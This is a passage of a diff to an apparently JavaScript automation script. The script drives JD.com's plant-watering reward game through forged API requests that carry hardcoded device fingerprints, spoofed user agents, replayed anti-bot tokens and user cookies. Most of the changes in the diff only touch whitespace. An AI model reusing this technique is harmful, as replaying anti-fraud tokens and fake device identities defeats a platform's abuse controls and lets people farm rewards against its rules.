ZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623236252762`, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": cookie, - } - } + let options = { + url: `https://api.m.jd.com/?functionId=apDoTask&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","taskType":"${taskType}","taskId":${taskId},"channel":4,"itemId":"${itemId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623236252762`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { try { - $.qd = JSON.parse(data); - + $.qd = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -231,23 +231,23 @@ function dotask(taskType, taskId, itemId) { function dolist() { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/?functionId=apTaskList&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623236246485`, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": cookie, - } - } + let options = { + url: `https://api.m.jd.com/?functionId=apTaskList&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh%2BPHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw%2F3GbroYtSX%2BYNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body=%7B%22linkId%22%3A%22fzf6tK4xMfE2ICK4-T_iUw%22%2C%22antiToken%22%3A%22oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V%2BdlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29%2BPU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR%2FendVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5%2BaA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs%2FUDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85%7C~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ%3D%3D~1~504~gpli%7Cdoei%3A%2C1%2C0%2C0%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%3Bdmei%3A%2C1%2C0%2C0%2C1000%2C-1000%2C1000%2C-1000%2C1000%2C-1000%3Bemc%3A%3Bemmm%3A%3Bemcf%3A%3Bivli%3A%3Biivl%3A%3Bivcvj%3A%3Bscvje%3A%3Bewhi%3A%3B1623230944718%2C1623230944817%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%3B88yh%22%2C%22frontendInitStatus%22%3A%22s%22%2C%22platform%22%3A1%7D&appid=activities_platform&t=1623236246485`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { try { - $.do = JSON.parse(data); - + $.do = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -260,23 +260,23 @@ function dolist() { function jiaoshui(plantId) { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/?functionId=watering&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623237544296`, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": cookie, - } - } + let options = { + url: `https://api.m.jd.com/?functionId=watering&client=android&clientVersion=10&networkType=4g&eid=eidAdbfb812246s5r1OGwmiSQMahMl6K44kkna9TiDxOncOh+PHjHGH7f5BaezwPsv86FnJD2KTOGF5GjpLohc8Y3tfQqJw/3GbroYtSX+YNIOYuwm4w&fp=-1&uuid=7303439343432346-7356431353233321&osVersion=10&d_brand=OPPO&d_model=PCAM00&referer=-1&agent=-1&pageClickKey=-1&screen=360*780&lang=zh_CN&eu=7303439343432346&fv=7356431353233323&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","antiToken":"oyv0oh46u0hbqqbh2pe16232308899736l86~NmZeSyVEbFNSd3V+dlJdC3lwAApjRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9UdSYHAGlWYEJXc3F7c1VUCit8UVplX2UQUSR/endVWwE3JVRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJwcRFmHE8ebyFTXCIBdEtBK3AhMkNBEC43FQJzVDkVBSUvLDITBVk9dg9MPQsySVYoL3gyERlAeyxNDSgDPkIEY2tvJ0NXEDQhQUs/UDNFDiAmdHYZFQorIgYJZ1RlQ1Bxf3V9WFoAPj1bWXNKdBUQL2V3ZhEMVzUoAV1gRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623230944818~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~504~gpli|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623230944718,1623230944817,0,0,0,0,0,0,0,0,0;88yh","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623237544296`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.get(options, async (err, resp, data) => { try { - watering = JSON.parse(data); - + watering = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -289,23 +289,23 @@ function jiaoshui(plantId) { function apCollectWater() { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/ `, - body: `functionId=apCollectWater&client=ios&clientVersion=14.3&networkType=wifi&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa11&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","antiToken":"80yyw6qzqeyzl42ape51623285354539awsu~NmZeSyVEbFNSd3V+dlhYBHl0Dg9iRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU8DfnIOXTJXZElScyErdFZVCn11DgEyXjVAASIjLidVXQV+Klxkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJydBFmHE8ebyFTXCIBdEtBKyQhdUNBEC43FQJzUyMJUTAtI31SAkd+KwFaMg0zFlAsMz89Ul1CKXJNQD9RIQQFY2tvJ0NXECp1AFIzED9DBnRxIT0bCVo8K1UJZ1RlQ1t0dHhwVF4KfHYGQnNKdBUQL2V3ZgUDBjUrDl1nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623295641032~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~9lwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623295640969,1623295641031,0,0,0,0,0,0,0,0,0;88ys","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623295724488`, - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": cookie, - } - } - + let options = { + url: `https://api.m.jd.com/ `, +body: `functionId=apCollectWater&client=ios&clientVersion=14.3&networkType=wifi&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa11&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","antiToken":"80yyw6qzqeyzl42ape51623285354539awsu~NmZeSyVEbFNSd3V+dlhYBHl0Dg9iRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU8DfnIOXTJXZElScyErdFZVCn11DgEyXjVAASIjLidVXQV+Klxkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJydBFmHE8ebyFTXCIBdEtBKyQhdUNBEC43FQJzUyMJUTAtI31SAkd+KwFaMg0zFlAsMz89Ul1CKXJNQD9RIQQFY2tvJ0NXECp1AFIzED9DBnRxIT0bCVo8K1UJZ1RlQ1t0dHhwVF4KfHYGQnNKdBUQL2V3ZgUDBjUrDl1nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1623295641032~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~9lwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1623295640969,1623295641031,0,0,0,0,0,0,0,0,0;88ys","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1623295724488`, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", + "Cookie": cookie, + } + } + $.post(options, async (err, resp, data) => { try { - getwat = JSON.parse(data); - + getwat = JSON.parse(data); + } catch (e) { $.logErr(e, resp); } finally { @@ -316,26 +316,26 @@ function apCollectWater() { } -function chucao(plantId, encryptUid) { +function chucao(plantId,encryptUid) { return new Promise(async (resolve) => { - let options = { - url: `https://api.m.jd.com/?functionId=weeding&client=ios&clientVersion=14.3&networkType=4g&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa18&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","encryptUid":"${encryptUid}","antiToken":"g4utdunnt5ja7wazyp81624112440743frl8~NmZeSyVEbFNSd3V5dVBfBnl0AAtoRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9QLyFTADIAMkdXICZ4cFhbBXV8BF4yX25HV3h0dSdYVVMucQRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJychFmHE8ebyFTXCIBdEtBKzAhNUNBEC43FQJzB29EBHQsdT4GWAB8cFYOZ1M0AgEkMywqGRpCOzJCDGlXIRpaY2tvJ0NXECsnWVsnU2UBFCcjeDcDAVkpPUQJZ1RiQFJzc3l0VlkBIikEAHNKdBUQL2V3ZhlaAjU0RV0nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1624112440842~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~xlwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1624112440733,1624112440839,0,0,0,0,0,0,0,0,0;88yu","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1624112445417 `, - - headers: { - "Origin": "https://thebigboss.jd.com", - "Host": "api.m.jd.com", - "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36", - "Cookie": ck2, - } - } + let options = { + url: `https://api.m.jd.com/?functionId=weeding&client=ios&clientVersion=14.3&networkType=4g&eid=eidIc2ff812158s1ARLLPvIBQjyII7trmiE3BQESzLTXqSC9s3TX28oQv3zQuaY+15FedjhWtgYfTsUSkl9FEDNBP8LQRrRx5GwEA93H4jSPYNJ1OvNs&fp=-1&uuid=75aeceef3046d8ce11d354ff89af9517a2e4aa18&osVersion=14.3&d_brand=iPhone&d_model=iPhone9,2&referer=-1&agent=-1&pageClickKey=-1&screen=414*736&lang=zh_CN&body={"linkId":"fzf6tK4xMfE2ICK4-T_iUw","plantId":"${plantId}","encryptUid":"${encryptUid}","antiToken":"g4utdunnt5ja7wazyp81624112440743frl8~NmZeSyVEbFNSd3V5dVBfBnl0AAtoRHpTBiUjb35DFm5vLUROOBEzLUF7G28iAAFBKBgVFA1EPwIVKDclGENXbm8iVlQiAwpTTx1lKSsTCG5vfmsaDUR6LUEnG29+PU9QLyFTADIAMkdXICZ4cFhbBXV8BF4yX25HV3h0dSdYVVMucQRkc0oKUwoyKhFmWzEQOTZCXQ1Eei1BKTQ5GENXbm8wX10zDzETDDI0Yy4FQ1EiKWsafTp0AQ0dZXcYQ0Jub2hrGiESClNZHWUlMBUdQXcYFRQNRCYYP2N9EWZQVR5+aA4UYUpmXVJychFmHE8ebyFTXCIBdEtBKzAhNUNBEC43FQJzB29EBHQsdT4GWAB8cFYOZ1M0AgEkMywqGRpCOzJCDGlXIRpaY2tvJ0NXECsnWVsnU2UBFCcjeDcDAVkpPUQJZ1RiQFJzc3l0VlkBIikEAHNKdBUQL2V3ZhlaAjU0RV0nRHpTCjJld2ZQTx5vLl5bc1x0SFp4fm85|~1624112440842~1~20201218~eyJ2aXdlIjoiMCIsImJhaW4iOnt9fQ==~1~~xlwr|doei:,1,0,0,0,0,1000,-1000,1000,-1000;dmei:,1,0,0,1000,-1000,1000,-1000,1000,-1000;emc:;emmm:;emcf:;ivli:;iivl:;ivcvj:;scvje:;ewhi:;1624112440733,1624112440839,0,0,0,0,0,0,0,0,0;88yu","frontendInitStatus":"s","platform":1}&appid=activities_platform&t=1624112445417 `, +headers: { +"Origin": "https://thebigboss.jd.com", +"Host": "api.m.jd.com", + "User-Agent": "jdltapp;android;3.5.0;10;7303439343432346-7356431353233323;network/4g;model/PCAM00;addressid/4228801336;aid/7049442d7e415232;oaid/;osVer/29;appBuild/1587;psn/J7DoQdnbd16144pyXDtYAH6c3B9Rkr60|87;psq/7;adk/;ads/;pap/JA2020_3112531|3.5.0|ANDROID 10;osv/10;pv/16.58;jdv/;ref/com.jd.jdlite.lib.mission.allowance.AllowanceFragment;partner/oppo;apprpd/Allowance_Registered;eufv/1;Mozilla/5.0 (Linux; Android 10; PCAM00 Build/QKQ1.190918.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) 